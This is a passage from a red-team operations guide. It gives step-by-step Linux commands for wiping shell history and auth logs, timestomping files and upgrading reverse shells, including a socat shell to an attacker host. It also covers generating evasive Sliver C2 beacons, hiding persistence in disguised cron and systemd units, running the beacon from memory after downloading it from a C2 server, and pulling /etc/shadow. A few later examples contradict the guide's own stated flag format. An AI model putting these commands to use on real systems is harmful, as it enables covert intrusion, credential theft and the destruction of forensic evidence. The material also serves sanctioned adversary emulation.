OPSEC: Every dynamically linked binary that runs will load your library — this includes legitimate system tools like ls, ps, cat. This can cause visible slowdowns and trigger EDR detection based on unusual library loads. Use it sparingly and test in a lab first.


Section 5 — Cleanup & Anti-Forensics

Assume IR will run. Your goal is to raise their time-cost, not achieve perfect forensic invisibility. Perfect is the enemy of good enough.


5.1 — History Wipe

# In-session (already done in Section 1, but confirm)
unset HISTFILE
history -c            # clear in-memory history list
history -w            # flush to HISTFILE (/dev/null if set correctly)

# Overwrite the history file on disk (belt-and-suspenders)
# Note: cat /dev/null is safer than rm — rm leaves a gap in filesystem that forensics can notice
cat /dev/null > ~/.bash_history
cat /dev/null > ~/.zsh_history

# If you can't control HISTFILE (set by system profile), overwrite and re-link
ln -sf /dev/null ~/.bash_history   # symlink to /dev/null — future writes go nowhere
# Note: this leaves a symlink that replaces the regular file — detectable

# Nuclear option: overwrite entire home directory history files
for f in ~/.bash_history ~/.zsh_history ~/.fish_history ~/.python_history \
          ~/.mysql_history ~/.psql_history ~/.irb_history; do
  [ -f "$f" ] && cat /dev/null > "$f"
done

5.2 — Log Line Removal

Removing specific log lines is more surgical than clearing entire log files (which is immediately obvious).

# Remove your IP from auth.log
YOUR_IP="10.10.10.5"
sed -i "/$YOUR_IP/d" /var/log/auth.log
sed -i "/$YOUR_IP/d" /var/log/secure 2>/dev/null

# Remove specific username from logs
sed -i "/youruser/d" /var/log/auth.log

# Remove last N lines from auth.log (covers recent activity window)
# Get line count first, then keep everything before your activity
tail -n +$(( $(wc -l < /var/log/auth.log) - 20 )) /var/log/auth.log  # view last 20
# Remove last 20 lines:
head -n -20 /var/log/auth.log > /tmp/auth_clean && mv /tmp/auth_clean /var/log/auth.log

# wtmp / btmp / lastlog — binary format, not directly editable with sed
# utmpdump is the safe tool:
utmpdump /var/log/wtmp | grep -v "$YOUR_IP" | utmpdump -r > /tmp/wtmp_clean
mv /tmp/wtmp_clean /var/log/wtmp

# Clear btmp (failed login attempts — don't leave evidence you brute-forced)
cat /dev/null > /var/log/btmp

# Systemd journal — you can't easily edit individual journal entries
# If you need to clear it: (very noisy — only do this if IR hasn't arrived yet)
journalctl --vacuum-time=1d 2>/dev/null  # keep only last 1 day
# Or wipe: rm -f /var/log/journal/*/*.journal (requires root, highly detectable)

5.3 — Timestomping (Match Modified Files to Originals)

Any file you touch gets an updated mtime/atime. If IR runs find / -newer /etc/passwd -mmin -60, your modifications light up. Timestomp them.

# After modifying a file, match its timestamps to a reference file
# Reference file: something nearby that was last modified before your activity

# Match timestamps of a modified cron script to a nearby cron file
touch -r /etc/cron.d/anacron /etc/cron.d/your_persistence_file

# Match to a specific date/time (if you know when the file was last legitimately touched)
touch -t 202301151430.00 /etc/cron.d/your_file   # YYYYMMDDHHMI.SS format

# Match the SSH authorized_keys modification to the known_hosts file
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys

# For systemd service files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/your_service.service
touch -r /usr/lib/systemd/systemd-networkd /usr/lib/systemd/systemd-network-helper

# IMPORTANT: atime (access time) is also tracked on many systems
# -r copies mtime AND atime from the reference file — the right approach
# Don't use -m alone (that only sets mtime, leaves atime intact)

# Verify
stat /etc/cron.d/your_persistence_file   # check Access, Modify, Change times
# Note: ctime (inode change time) CANNOT be set by touch — it always updates on modification
# Advanced forensics will detect ctime anomalies even with timestomping

5.4 — Tool Cleanup

# Remove all tools you dropped — work backwards from your workspace
rm -f /dev/shm/.cache/pspy64
rm -f /dev/shm/.cache/linpeas.sh
rm -f /dev/shm/.cache/exploit
rm -rf /dev/shm/.cache/

# Secure delete if shred is available (overwrites before deleting)
shred -u /dev/shm/sensitive_file

# Remove compiled files
rm -f /tmp/evil.so /tmp/evil.c /tmp/preload.c

# Check for any temp files you created
find /tmp /dev/shm /var/tmp -newer /etc/passwd -mmin -480 2>/dev/null | grep -v "^/proc"

5.5 — What IR Teams Look For — Know Their Checklist

IR Action What They Check Your Counter
last / lastlog Login records from wtmp/lastlog Wipe with utmpdump, cat /dev/null > /var/log/lastlog
find / -newer /etc/passwd Recently modified files Timestomp all modified files
systemctl list-units Unexpected services Disguise service names, match descriptions
crontab -l + /etc/cron* Cron jobs Use infrequent schedules, hide in sysstat dirs
cat ~/.bash_history Shell history Wipe on entry AND exit
cat /etc/pam.d/* PAM configuration changes Revert PAM changes when possible
cat /etc/ld.so.preload LD_PRELOAD persistence Timestomp, or use only as a last resort
ls -la ~/.ssh/ Authorized keys Match timestamps to existing keys
ps auxf Running processes Use process name masquerading
ss -tunap Network connections Use short-lived beacons, not persistent shells
strings /proc/*/environ In-memory credentials N/A — this is you doing it to them
auditctl -l + audit.log Audit trail Can't erase audit.log without root; avoid audited syscalls
md5sum / sha256sum on system files File integrity (AIDE/Tripwire) You can't beat AIDE if it ran before you landed — focus on persistence in non-monitored paths

Section 6 — Shell Upgrade: nc → Full TTY

A raw netcat shell has no TTY. No tab completion, no Ctrl-C (it kills the shell), no vim, no su. Fix this before you do anything else.

Why it matters: Without a TTY you can't run sudo, su, passwd, or interactive editors. Ctrl-C sends SIGINT to your local nc, killing the entire session. Tab completion and history don't work. You're flying blind.


6.1 — Python PTY (Most Common, Fastest)

Run on the victim side inside your nc shell:

# Step 1 (victim): Spawn a PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Fallback if python3 not found:
python -c 'import pty; pty.spawn("/bin/bash")'
# Or: script
/usr/bin/script -qc /bin/bash /dev/null

This gives you a functional terminal with su and sudo support, but Ctrl-C still kills the shell. For full control, proceed to the stty upgrade.


6.2 — Full TTY via stty (The Proper Fix)

After running the Python PTY above:

# Step 2 (victim): spawn PTY first (if not done already)
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 3 (victim → attacker): background the shell — press Ctrl-Z
# You're now back on your attacker terminal

# Step 4 (attacker): put your terminal in raw mode and pass it to the fg'd shell
stty raw -echo; fg
# The 'fg' brings the nc shell back to foreground
# Your terminal may look blank — that's normal, type the next commands blindly

# Step 5 (victim): re-initialize the terminal inside the shell
reset
export TERM=xterm-256color
export SHELL=/bin/bash

# Step 6: Match the terminal size to your actual window
# On YOUR attacker terminal (new tab/pane): stty size → returns ROWS COLS
# e.g.: 48 220
stty rows 48 columns 220

Result: Full interactive TTY. Ctrl-C works. Tab completion works. vim/nano work. Arrow keys work. History works.

OPSEC: stty raw -echo changes your attacker terminal state — if you lose the connection at this point, your terminal will be stuck in raw mode. Fix it by typing reset blindly or opening a new terminal tab.


6.3 — socat (Best Option if Available)

If socat is installed on the target, this gives you a full TTY from the start — no stty dance needed.

# Attacker listener (run this FIRST):
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim (run in your existing dumb shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444

Full TTY with job control, signals, and history immediately. No extra steps.


6.4 — rlwrap (Attacker-Side, No Victim Changes Needed)

Gives you readline history and basic completion on the attacker side without touching the victim:

# Install: apt install rlwrap
# Use in place of nc:
rlwrap nc -nlvp 4444

Not a real TTY, but command history (up arrow) and basic line editing work. Good for quick dumb shells before you can upgrade properly.


6.5 — Shell Upgrade Quick Reference

Situation Command (Victim Side) Result
Python3 available python3 -c 'import pty; pty.spawn("/bin/bash")' Basic TTY (su/sudo work)
Python2 only python -c 'import pty; pty.spawn("/bin/bash")' Basic TTY
No Python /usr/bin/script -qc /bin/bash /dev/null Basic TTY
Perl available perl -e 'exec "/bin/bash";' Basic shell (no TTY)
socat available See 6.3 above Full TTY immediately
After basic PTY stty dance (6.2 above) Full TTY via nc
Attacker side rlwrap nc -nlvp PORT Readline history only

Section 7 — C2 Frameworks: Why nc Is a Liability

nc shells are for initial access and quick tests. For any real engagement — pivoting, persistence, multi-host, or long-haul ops — you need a proper C2.

Why nc Breaks on Real Engagements

Problem nc Shell C2 Framework
Session drops (network blip) Dead — reconnect manually Automatic reconnect
Multiple targets One terminal per shell, chaos Centralized operator console
Pivoting / port forwards Manual SSH chains Built-in SOCKS, tunnels
Payload evasion None — bash spawns are trivially detected Custom protocols, encrypted comms, sleep/jitter
Evidence in logs Every bash -i shows in auth.log, ps Configurable process masquerade, encrypted traffic
Kill date / time limits None Built-in scheduling, datetime limits
Team operations Not possible Multi-operator with task queuing

C2 Framework Comparison

Framework Language Best For Linux Support Key Stealth Feature
Sliver Go General red team, cloud/Linux focus ✅ Excellent mTLS, garble obfuscation, beacon scheduling
Havoc C/C++ Windows-heavy engagements ✅ Good Demon agent, malleable comms
Covenant .NET Windows AD operations ⚠️ Limited HTTP listener profiles
Merlin Go Low-footprint Linux ops ✅ Good HTTP/2, DNS C2, small agent
Mythic Python backend Custom agents, modular ✅ Good Pluggable agent/profile system

For Linux-focused ops: Sliver is the recommendation. Go binaries compile to a single static ELF, no dependencies. Built-in mTLS + HTTPS. Active development. Operator-grade sleep/jitter and time-restriction controls.


Section 8 — Sliver C2: Stealthy Linux Payloads

Sliver is the operator's choice for Linux C2. This section covers installation, stealthy payload generation, business-hours beaconing, and in-memory delivery. All commands are from the Sliver server console unless noted.


8.1 — Installation (Attacker/C2 Server)

# Option 1: Pre-built binary (fastest)
curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
  | grep "browser_download_url.*linux" \
  | grep -v arm \
  | cut -d '"' -f 4 \
  | wget -qi -
# Rename and make executable
chmod +x sliver-server_linux && mv sliver-server_linux /usr/local/bin/sliver-server
chmod +x sliver-client_linux && mv sliver-client_linux /usr/local/bin/sliver

# Option 2: Build from source (adds garble support, latest features)
git clone https://github.com/BishopFox/sliver.git && cd sliver
make          # requires Go 1.20+, gcc, mingw-w64
# Output: sliver-server, sliver-client in ./

# Start server (interactive console)
sliver-server
# Or as a daemon:
sliver-server daemon &
# Default ports: 31337 (multiplayer gRPC), plus any listeners you start

8.2 — Beacon vs Session: Which to Use

Beacon Session
Connection Periodic check-ins (sleep-based) Persistent, always-on
Stealth ✅ High — looks like periodic web traffic ⚠️ Low — persistent connection is anomalous
Interactivity Commands queued, executed on next check-in Immediate response
When to use Default for all ops — stealth first Interactive phases (priv-esc, lateral move)
Converting interactive command promotes beacon → session N/A

Default to beacons. Promote to session only when you need interactive access, then drop back to beacon.


8.3 — Stealthy Beacon Generation: All the Flags

# Full stealthy Linux beacon — run inside the Sliver console
generate beacon \
  --mtls YOUR_C2_IP:8888 \         # mTLS — encrypted, mutual auth, ~looks like HTTPS
  --os linux \                     # target OS
  --arch amd64 \                   # or arm64 for cloud/IoT/Raspberry Pi
  --format elf \                   # elf=binary, shared=.so, shellcode=raw bytes
  --name "systemd-helper" \        # label in Sliver console (not process name on target)
  --evasion \                      # anti-analysis: anti-debug, stack canaries
  --skip-symbols \                 # strip Go symbol table — blocks debugger+reverser
  --seconds 3600 \                 # sleep 3600s (1hr) between check-ins
  --jitter 600 \                   # add random 0–600s on top of sleep (not a %)
  --reconnect 60 \                 # retry delay if C2 unreachable
  --limit-datetime "2025-12-31T23:59:59Z" \  # KILL DATE — RFC3339 UTC, implant exits after this
  --limit-hostname webserver01 \   # only run if hostname matches exactly
  --limit-username ubuntu \        # only run if username matches
  --limit-fileexists /etc/ssh/sshd_config \  # only run if this file exists (confirms target)
  --save /tmp/beacon.elf

# Verify the generated implant
implants          # list all generated implants with config summary

Flag breakdown:

Flag Format / Value What it does
--evasion boolean Anti-debug, anti-analysis, stack canaries compiled in
--skip-symbols boolean Strips Go symbol table (-ldflags "-s -w") → harder to reverse
--seconds / --minutes / --hours / --days int Sleep interval components (combined)
--jitter N int (seconds) Max random addition to sleep — flat 0 to N seconds, NOT a percentage
--reconnect N int (seconds) Retry delay if C2 unreachable
--limit-datetime RFC3339 string Kill date — implant exits after this UTC timestamp; use for op time-boxing
--limit-hostname string Exact hostname match check at startup
--limit-username string Exact username match check at startup
--limit-fileexists path File existence check — confirms you're on the right target
--format elf / shared / shellcode ELF=binary, shared=.so (harder to detect), shellcode=raw
--name string Console label only — does NOT change process name on target

Important: --limit-datetime is a kill date (expiry), not a schedule. It takes RFC3339 format: "2025-12-31T23:59:59Z" (UTC) or "2025-12-31T18:59:59-05:00" (EST). The implant will refuse to run and exit cleanly after this time. This is for op time-boxing, not for time-of-day activation. For scheduled activation, use the cron wrapper approach (Section 8.5).


8.4 — Scheduled Beacon at 0800 EST (Business Hours)

Key fact: Sliver's --limit-datetime is a kill date (RFC3339 expiry), not a cron schedule. It tells the implant "stop running after this time." It does not restrict to specific hours of the day.

For time-of-day control, use the cron wrapper approach (Section 8.5). Here, --limit-datetime is used for op time-boxing — ensuring the implant self-destructs at end of engagement.

# Correct --limit-datetime syntax: RFC3339 format, UTC recommended
# Format: YYYY-MM-DDTHH:MM:SSZ  (UTC)
#      or YYYY-MM-DDTHH:MM:SS-05:00  (EST offset)

# Example: beacon active until end of engagement (Dec 31)
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 600 \
  --limit-datetime "2025-12-31T23:59:59Z" \   # kill date in UTC
  --save /tmp/beacon_killdate.elf

# Example: short engagement window — implant dies at 1800 EST on Friday
# 1800 EST = 2300 UTC
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 300 \
  --limit-datetime "2025-12-05T23:00:00Z" \   # 1800 EST = 2300 UTC
  --save /tmp/beacon_shortop.elf

# Check target's timezone before choosing your UTC offset:
# EST  = UTC-5   → 0800 EST = 1300 UTC
# EDT  = UTC-4   → 0800 EDT = 1200 UTC  (summer)
# UTC  = UTC+0   → 0800 UTC = 0800 UTC  (most servers)

Time-of-day control — what actually works:

Technique Mechanism Restriction Type
--limit-datetime "2025-12-31..." Kill date — stop after this UTC time Expiry only
--seconds 86400 --jitter 3600 Sleep 24h with 1h variance Reduces frequency, not a schedule
Cron wrapper (8.5) OS scheduler launches beacon at 0800, kills it at 1800 True time-of-day control
systemd timer (8.5) Same as cron but via systemd True time-of-day control

Bottom line: Use --limit-datetime for kill dates. Use OS cron/systemd timers to control when the beacon runs. Combine both for a beacon that only runs 0800–1800 M-F AND self-destructs at end of engagement.


8.5 — Cron Wrapper: Launch Beacon at 0800 EST (True Scheduling)

This is the correct approach for time-of-day control. The beacon binary exists but only runs during business hours — reducing its EDR exposure window.

# Step 1: Generate the beacon with a kill date but no artificial sleep limit
# The cron schedule IS the time-of-day control
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 300 \
  --limit-datetime "2025-12-31T23:59:59Z" \   # engagement kill date
  --save /tmp/beacon.elf

# Step 2: Transfer beacon to target, rename innocuously
cp /tmp/beacon.elf /usr/lib/systemd/.network-helper
chmod +x /usr/lib/systemd/.network-helper

# Step 3: Check target's timezone — critical for correct UTC offset
timedatectl 2>/dev/null | grep "Time zone"
date +%Z && date -u    # local vs UTC — confirm the offset

# Timezone offset math:
# EST  = UTC-5   → 0800 EST = 1300 UTC  →  cron hour = 13
# EDT  = UTC-4   → 0800 EDT = 1200 UTC  →  cron hour = 12  (summer/daylight saving)
# PST  = UTC-8   → 0800 PST = 1600 UTC  →  cron hour = 16
# If target runs UTC: 0800 UTC = 0800 UTC → cron hour = 8

# Step 4: Create a cron job (requires root for /etc/cron.d/)
# Disguise the filename — blend with existing cron files
cat > /etc/cron.d/systemd-check << 'EOF'
# System integrity monitor
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Launch beacon at 0800 EST (1300 UTC) weekdays — only if not already running
0 13 * * 1-5 root pgrep -xf ".network-helper" > /dev/null 2>&1 || /usr/lib/systemd/.network-helper &

# Kill beacon at 1800 EST (2300 UTC) weekdays — clean exit before EOD
0 23 * * 1-5 root pkill -xf ".network-helper" > /dev/null 2>&1; true
EOF

# Step 5: Timestomp to blend with existing cron files
touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check
touch -r /etc/cron.d/anacron /usr/lib/systemd/.network-helper

# Alternative: systemd timer (more legitimate-looking, harder to spot in casual review)
cat > /etc/systemd/system/netcheck.timer << 'EOF'
[Unit]
Description=Network Integrity Check Timer

[Timer]
OnCalendar=Mon-Fri 08:00:00 America/New_York
Persistent=false

[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/netcheck.service << 'EOF'
[Unit]
Description=Network Integrity Check

[Service]
Type=forking
ExecStart=/usr/lib/systemd/.network-helper
ExecStop=/usr/bin/pkill -xf .network-helper
StandardOutput=null
StandardError=null
EOF

systemctl daemon-reload
systemctl enable netcheck.timer
# Timestomp
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.timer
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.service

Why cron over --limit-datetime for scheduling: --limit-datetime is a kill date — the process can still start at any time before that date. Cron controls when the process starts. Combined: cron handles the 0800 launch window, --limit-datetime handles the engagement expiry, and killing at 1800 keeps it off the wire overnight.


8.6 — Stealthy Delivery: In-Memory Execution via memfd_create

Never write the beacon ELF to disk on the target. Use memfd_create to execute it purely from memory — no file, no inode, no disk forensics.

# Prerequisite: Sliver C2 is running, listener is up, beacon.elf is on your C2 web server
# On the C2 server, serve the payload:
python3 -m http.server 8080 --directory /tmp/payloads &

# On the TARGET — run this one-liner to download and execute the beacon in-memory:
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://YOUR_C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# The process appears in 'ps' as 'kworker' — matches kernel thread naming convention
# No ELF file on disk. Forensics finds nothing in /tmp, /dev/shm, or anywhere else.

Alternative: Base64 embedded delivery (no outbound HTTP from target)

# On attacker: encode the beacon
base64 -w0 beacon.elf > beacon.b64

# In your shell on the target — paste the base64 string directly:
python3 -c "
import os, base64
b64 = 'AAAA...YOUR_BASE64_HERE...'   # paste beacon.b64 contents here
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
os.write(fd, base64.b64decode(b64))
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# No network fetch from target, no disk write. Pure in-memory exec.

OPSEC: memfd_create creates an anonymous file descriptor not visible in the filesystem. The process does appear in /proc/PID/exe as /proc/self/fd/N (deleted) — a known IOC that some EDRs flag. For higher stealth, consider compiling a minimal C dropper that uses memfd_create directly and masquerades via /proc/self/maps tricks. The kworker process name chosen above mimics kernel worker threads — inspect real kernel threads with ps aux | grep "\[kworker" to pick a realistic name.


8.7 — Binary Hardening: Strip + UPX (Post-Generation)

After generating the ELF beacon, optionally harden it further on your attacker machine before delivery:

# Strip all remaining symbols (belt-and-suspenders on top of --skip-symbols)
strip --strip-all beacon.elf
# Verify size reduction:
ls -lh beacon.elf

# UPX compression — reduces file size, breaks simple static signature matching
# CAUTION: Some EDRs specifically flag UPX-packed binaries — test in your lab first
upx --best --lzma beacon.elf           # max compression
upx -d beacon.elf                      # decompress if needed

# Verify the binary still works after UPX (test in lab VM first)
file beacon.elf                        # should still show ELF executable
./beacon.elf                           # test run in lab

# Check what strings remain (what an analyst would see)
strings beacon.elf | grep -iE "sliver|bishopfox|beacon|c2|mtls" | head
# If any Sliver-specific strings appear → consider --garble at generation time
# Garble requires building Sliver from source with garble installed:
# go install mvdan.cc/garble@latest
# then generate with --garble flag

8.8 — HTTPS Listener Setup (Blend with Web Traffic)

# Inside Sliver console: start an HTTPS listener (port 443 — looks like HTTPS to network TAPs)
https --lhost YOUR_C2_IP --lport 443

# Verify listener is running
jobs
#  ID   Name    Protocol   Port
# ==== ======= ========== ======
#  1    https   tcp        443

# Generate beacon using HTTPS instead of mTLS
# HTTPS blends better in environments where mTLS to non-standard ports triggers alerts
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 600 \
  --limit-datetime "0 8-17 * * 1-5" \
  --save /tmp/beacon_https.elf

# For DNS C2 (extremely stealthy, traverses most firewalls):
# Requires a domain you control with NS records pointing to your server
dns --domains yourc2domain.com
generate beacon \
  --dns yourc2domain.com \
  --os linux --arch amd64 --format elf \
  --seconds 7200 --jitter 1800 \
  --save /tmp/beacon_dns.elf
# DNS beacon is very slow (DNS response times) but nearly unblockable

8.9 — Sliver Quick-Reference Cheat Sheet

# ── Server management ──────────────────────────────────────────────────
sliver-server          # start console
jobs                   # list active listeners
mtls --lport 8888      # start mTLS listener
https --lport 443      # start HTTPS listener

# ── Implant management ─────────────────────────────────────────────────
implants               # list all generated implants
beacons                # list active beacons
sessions               # list active sessions
use <ID>               # interact with beacon or session

# ── Beacon interaction ─────────────────────────────────────────────────
info                   # beacon details (interval, jitter, OS, PID)
tasks                  # list queued/completed tasks
interactive            # promote beacon → live session
background             # return to main console (beacon stays active)
beacons rm <ID>        # remove beacon entry

# ── In-session commands (Linux) ────────────────────────────────────────
ls / pwd / cd          # filesystem navigation
download /etc/shadow   # exfil file to C2 server
upload /tmp/tool /tmp/ # push file to target
execute -o id          # run command, capture output
shell                  # drop to interactive shell (noisy)
socks5 start           # start SOCKS5 proxy via this implant
portfwd add -r TARGET_IP:22 -b 127.0.0.1:2222  # port forward
getenv / setenv        # environment variable access
screenshot             # capture desktop (GUI targets)
procdump --pid <PID>   # memory dump of process

# ── Profiles (save generation configs) ────────────────────────────────
profiles new beacon \
  --https C2_IP:443 --os linux \
  --seconds 3600 --jitter 600 \
  --limit-datetime "0 8-17 * * 1-5" \
  linux-biz-hours

profiles generate --save /tmp/ linux-biz-hours   # generate from saved profile
profiles             # list all profiles

Resources

Resource Type Relevance
GTFOBins Reference Sudo / SUID exploitation one-liners
PayloadsAllTheThings — Linux PrivEsc Reference Comprehensive priv-esc techniques
HackTricks — Linux PrivEsc Reference Deep technique breakdowns
linux-exploit-suggester Tool Kernel CVE matching
pspy Tool No-root cron/process watcher
swap_digger Tool Swap memory credential extraction
InternalAllTheThings — Linux PrivEsc Reference Technique reference with MITRE mapping
RoseSecurity Red-Teaming-TTPs Reference Red team TTP list with commands
RedTeaming_CheatSheet (0xJs) Reference Comprehensive pentesting guide
d4t4s3c/OffensiveReverseShellCheatSheet Reference Reverse shell one-liners (bash/nc/python/socat)
RoqueNight/Reverse-Shell-TTY-Cheat-Sheet Reference TTY stabilization: Python/perl/ruby methods
pentestmonkey reverse shells Reference Classic one-liners
BishopFox/sliver Tool / C2 Adversary emulation framework — Linux focus
Sliver Docs Reference Official Sliver documentation
Learning Sliver C2 — Beacons & Sessions Tutorial Beacon vs session deep dive
Sliver C2 Usage for Red Teams Tutorial Operator guide with practical examples
Sliver + memfd_create Tutorial Fileless Linux delivery via memfd_create

Part of the Red Teaming 101 series. Companion to 1. Linux.